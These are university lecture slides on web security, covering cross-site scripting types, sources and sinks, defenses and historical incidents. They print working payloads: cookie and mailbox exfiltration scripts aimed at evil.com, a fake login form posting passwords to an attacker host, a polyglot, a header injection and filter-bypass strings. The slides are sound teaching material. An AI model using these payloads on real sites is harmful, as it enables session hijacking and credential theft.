

Web Security - Cross Site Scripting

Stefano Calzavara

Università Ca' Foscari Venezia



Università
Ca' Foscari
Venezia

1/31

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is the **king of client-side attacks**, because it allows the attacker to inject scripts on a vulnerable web application:

- when a malicious script runs in the target's origin, SOP is ineffective!
- the attack surface on real-world web applications is large and the defenses may be hard to deploy correctly
- most reported vulnerability on HackerOne in 2017 and still going strong nowadays (consistently high-ranked on the OWASP Top 10, now in third position as part of the Injection category)
- a traditional **web attack**: no network privileges are required and you may not even need a malicious web page to do harm!

XSS: Overview

At a high level, a traditional XSS works as follows:

- 1 the attacker identifies a part of the target web application which processes **untrusted input** from the user, e.g., a search field
- 2 the attacker discovers that the supplied input can be eventually interpreted as a **script**, e.g., using their own browser
- 3 the attacker sends a maliciously crafted link to the victim, who accesses it and triggers a script injection
- 4 since the script actually comes from the target web application, it runs in the **same origin** of the target

When the attack works, an arbitrary script can be injected!

XSS Example!

Example: `xss.py`

More XSS Exemplified: Error Pages

We don't want users to get lost on our website, isn't it?

```
<?php
    $line = "The URL ". $_SERVER['REQUEST_URI'];
    $line = $line. " could not be found";
    echo ($line);
?>
```

But the attacker would be happy to send users here:

```
https://vuln.com/error.php?a=<script>alert(1)</script>
```

The Dangers of XSS

To understand why XSS is nasty, observe that SOP is entirely bypassed when an attacker-controlled script is injected in the target's origin!

```
<script>
  x = document.cookie;
  u = "https://evil.com/leak.php?ck=" + x;
  document.write("<img src='" + u + "'/>");
</script>
```

Possible mitigation: **HttpOnly** attribute on session cookies.

The Dangers of XSS

Protecting session cookies with the HttpOnly attribute is useful, but far from an appropriate mitigation against XSS in general.

```
<script>
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    var m = xhttp.responseText;
    var img = document.createElement("img");
    img.src = "https://evil.com/leak.php?data=" + m;
  };
  xhttp.open("GET", "https://good.com/mailbox.php");
  xhttp.send();
</script>
```

XSS Categories

We categorize XSS vulnerabilities along two different axes.

Type of Flaw

- **Reflected XSS:** happens when web applications echo back untrusted user input to the client
- **Persistent XSS:** happens when web applications store untrusted user input somewhere, e.g., in a database, and automatically echo it back in later interactions

Location of Flaw

- **Server-side XSS:** vulnerable code on the server (“traditional” XSS)
- **Client-side XSS:** vulnerable code on the client (DOM-based XSS)

Reflected Server-Side XSS

Back to our search field: how can we exploit the reflected XSS?

Exploit

If the search field is based on GET requests, just send this link around, e.g., by email or over bulletin boards:

```
https://www.vuln.com/index.php?term=<script>...</script>
```

Alert!

Of course, a bit of **social engineering** might be useful to fool into clicking the link. Also, a **URL shortener** can make the attack harder to detect.

Reflected Server-Side XSS

Exploit

If the search engine is based on POST requests, just craft the following HTML page and send around a link to it:

```
<html>
  <body onload="document.exploit.submit();">
    <form name="exploit"
      method="post"
      action="https://www.vuln.com/index.php">
      <input name="term" value="<script>...</script>" />
    </form>
  </body>
</html>
```

Persistent Server-Side XSS

Let's move now to our preferred e-commerce website!

Traditional Review

Original text: I enjoyed this book, it was great!

Rendered text: I enjoyed this book, it was great!

Hipster Review

Original text: I enjoyed this book, it was `brilliant!`

Rendered text: I enjoyed this book, it was **brilliant!**

Do you see how to change the hipster review into malicious code?

Client-Side XSS

Nice, innocent idea: let's pick the background colour of our website from the query string to provide a personalized user experience.

```
<script type="text/javascript">
  document.write('<body');
  // get preferred color from the query string
  var color = document.location.search.substring(1);
  document.write(' style="background-color:' + color + '">');
</script>
```

Pro tip: Easter eggs are great for security!

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
  document.write('<body>');
  // get preferred color from the query string
  var color = document.location.search.substring(1);
  document.write(' style="background-color:' + color + '">');
</script>
```

Client-Side XSS

How to attack this code?

```
<script type="text/javascript">
  document.write('<body');
  // get preferred color from the query string
  var color = document.location.search.substring(1);
  document.write(' style="background-color:' + color + '">');
</script>
```

Exploit

```
https://www.vuln.com?red"><script>...</script><img%20src="
```

Dissecting the Exploit

```
https://www.vuln.com?red"><script>...</script><img%20src="
```

We can dissect the exploit in three components:

- 1 the **break-out sequence** closes the current context and puts the parser into a state where we can insert code
- 2 the **attack payload** is the script which gets injected by the attack
- 3 the **break-in sequence** consumes the leftover characters and ensures the parser continues without errors

The break-in sequence might be not required for lenient parsers such as the HTML parser, but it is critical in the JavaScript context.

XSS: Root Causes

Technically, XSS vulnerabilities are introduced by malicious information flows from a **source** to a **sink**:

- Source: input channel under the control of the attacker, e.g., a GET parameter or the query string
- Sink: output channel leading to client-side code execution, e.g., `document.write` or `eval`

Standard point of view for **injection** vulnerabilities:

- think about SQL injection from the System Security course
- ... just with different sources, sinks and attack payloads (inputs)

XSS: Sources

Traditional server-side XSS abuses HTTP requests as sources. Most of the attacks communicate the malicious payload by means of GET parameters or within POST request bodies.

Client-side XSS may exploit additional sources at the browser:

- the query string `location.search`
- the fragment identifier `#`, accessible via `location.hash`
- response bodies of XHRs, which are appealing for web attackers
- cookies, e.g., when the attacker has network capabilities
- web storage (and most prominently local storage)

XSS: Sinks

All of the following are **sinks** enabling XSS:

- `document.write`, `document.writeln`: these can write new script tags in the DOM, which will be executed
- `eval`, `setTimeout`, `setInterval`: these can directly pick strings and translate them into executable JavaScript code
- `document.innerHTML`, `document.outerHTML`: these will not execute any injected script tag, but are still dangerous because event handlers will work (for example, ``)

XSS Categories: Summary

Reflected server-side XSS:

- User must visit malicious link
- No persistent change to the server (one attack per visit)

Persistent server-side XSS:

- Attacker can store malicious payload on server
- Every user of the site affected on every visit

Reflected client-side XSS:

- User must visit malicious link
- No persistent change to the client (one attack per visit)

Persistent client-side XSS:

- User must visit malicious link, but just once
- Single user of the site affected on every visit

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Quiz Time!

Can you attack this?

```
<?php
// load avatar
$usr = $_GET["user"];
echo "<img src='//avatar.com/img.php?user=" . $usr . "'>";
?>
```

Exploit

```
https://vuln.com/?user='><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Quiz Time Again!

Can you attack this?

```
<script>
var username="<?=$_GET["user"]?>";
// something meaningful with the user name here
</script>
```

Exploit

```
https://vuln.com/?user="</script><script>alert(1)</script>
```

Shorter Exploit

```
https://vuln.com/?user="; alert(1); foo="
```


XSS Polyglots

The right exploit depends on the injection **context!**

```
<a href="..."> SINK1 </a>  
<iframe src='SINK2'></iframe>  
<script> if (x == "SINK3") { ... } </script>
```

A **polyglot** is an exploit working in several different contexts:

```
javascript:alert()//"){}alert();//</a><script>alert()</script>
```

Different interpretations, yet same effect, in the three contexts:

- 1 `` closes the link and `<script>alert()</script>` is injected
- 2 `javascript:alert()` runs in the iframe (the rest is commented)
- 3 the substring `")` closes the guard of the conditional, followed by the empty body `{ }` and the `alert()` call

Alternative Injections: Markup Injection

The same vulnerability leading to script injection (XSS) can actually be exploited to inject arbitrary HTML: this is called **markup injection**.

Example

```
<form method="post" action="https://www.evil.com/pwd.php">  
  You have been logged out due to inactivity. <br/>  
  Username: <input name="usr" type="text"/> <br/>  
  Password: <input name="pwd" type="password"/> <br/>  
  <input type="submit" value="Login"/>  
</form>
```

Alternative Injections: Header Injection

Consider the following piece of code:

```
String movie = request.getParameter("movieId");  
response.setHeader("Set-Cookie: seen=" + movie);
```

The attacker could perform **header injection** as follows (%0d and %0a are the encoding of <CR> and <LF> respectively):

```
https://vuln.com/?movieId=1%0d%0aSet-Cookie:sid=pwn3d!
```

This way, the attacker can break cookie integrity!

XSS Defenses: Output Encoding

The simplest way to ensure users cannot inject code in the application is to **encode** untrusted input before it's displayed.

Example

Use `` to make your text bold.

You are not forced to do this encoding by yourself and you should not do that: for example, PHP offers `htmlentities` for the purpose, and in many frameworks you can use **templates** to prevent injections.

Alert!

For some types of outputs, you can find **safe channels** which do not require encoding. For example, you can safely add text to your HTML page by using `document.innerText` rather than `document.innerHTML`.

XSS Defenses: Output Encoding

Selected rules of thumb for encoding:

- `<script>...NEVER PUT UNTRUSTED DATA...</script>`
- `<div>...ENCODE UNTRUSTED DATA...</div>`
- `<div attr="...ENCODE UNTRUSTED DATA...">content`
- `<script>alert('...ENCODE UNTRUSTED DATA...')</script>`

Alert!

Output encoding is great, but many applications cannot rely on output encoding alone: think about social networks and bulletin boards, which want to grant users the ability to post HTML content.

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- ``

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- ``
- `Hello <b onmouseover="alert(1)">world!`

XSS Defenses: Input Sanitization

Another way to defend against XSS is to **sanitize** the user input, e.g., by stripping away all the HTML tags before using it.

Example

Observe that this is much easier said than done:

- `<script >...</script>`
- `<ScRipT>...</script>`
- `<script src="https://www.evil.com/exploit.js"/>`
- `<scr<script></script>ipt>...</scr<script></script>ipt>`
- ``
- `Hello <b onmouseover="alert(1)">world!`
- `Click me!`

Output Encoding or Input Sanitization?

Output Encoding

- Very easy to use
- Solves the root cause of the security vulnerability
- Sometimes restrictive

Input Sanitization

- Don't do it by yourself!
- Some attacks like markup injection might still be there
- Sometimes necessary

Real-world experience: secure web applications typically use both and possibly rely on reduced markup languages which are easy to sanitize!

For interested readers: [OWASP XSS Prevention Cheat Sheet](#)

A Bit of History: Samy (2005)

Samy was a worm enabled by a persistent server-side XSS on MySpace:

- 1 MySpace users can post HTML on their profile pages
- 2 MySpace ensures HTML contains no `<script>`, `<body>`, `onclick`, ``, etc.
- 3 but accepts Javascript within CSS tags:
`<div style="background:url('javascript:alert(1)')">`
- 4 and `'javascript:'` can be hidden as `'java\nscript:'`

Samy forced all visitors of an infected MySpace page to add the worm creator as a friend :-)

A Bit of History: Ubuntu Forums (2013)

The attack was enabled by a persistent server-side XSS in vBulletin:

- 1 vBulletin allowed unfiltered HTML in its default configuration
- 2 Attacker crafted malicious announcement and sent link to admins
- 3 The injected JavaScript code stole session cookies from admins
- 4 Given elevated privileges, the attacker could upload PHP shell

The attacker eventually dumped the users database and left defacement on the main page...

Research on XSS

A few interesting reads on XSS if you want to explore the topic:

- Mutation-based XSS [1]
- Large-scale detection of DOM-based XSS [2]
- XSS vulnerabilities on password managers [3]

There is also a lot of OWASP material available for free, that you might enjoy: <https://owasp.org/www-community/attacks/xss/>

References



Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, and Edward Z. Yang.

mxss attacks: attacking well-secured web-applications by using innerhtml mutations.

In Ahmad-Reza Sadeghi, Virgil D. Gligor, and Moti Yung, editors, *CCS'13*, pages 777–788. ACM, 2013.



Sebastian Lekies, Ben Stock, and Martin Johns.

25 million flows later: large-scale detection of dom-based XSS.

In Ahmad-Reza Sadeghi, Virgil D. Gligor, and Moti Yung, editors, *CCS'13*, pages 1193–1204. ACM, 2013.



Ben Stock and Martin Johns.

Protecting users against xss-based password manager abuse.

In Shiho Moriai, Trent Jaeger, and Kouichi Sakurai, editors, *ASIA CCS '14*, pages 183–194. ACM, 2014.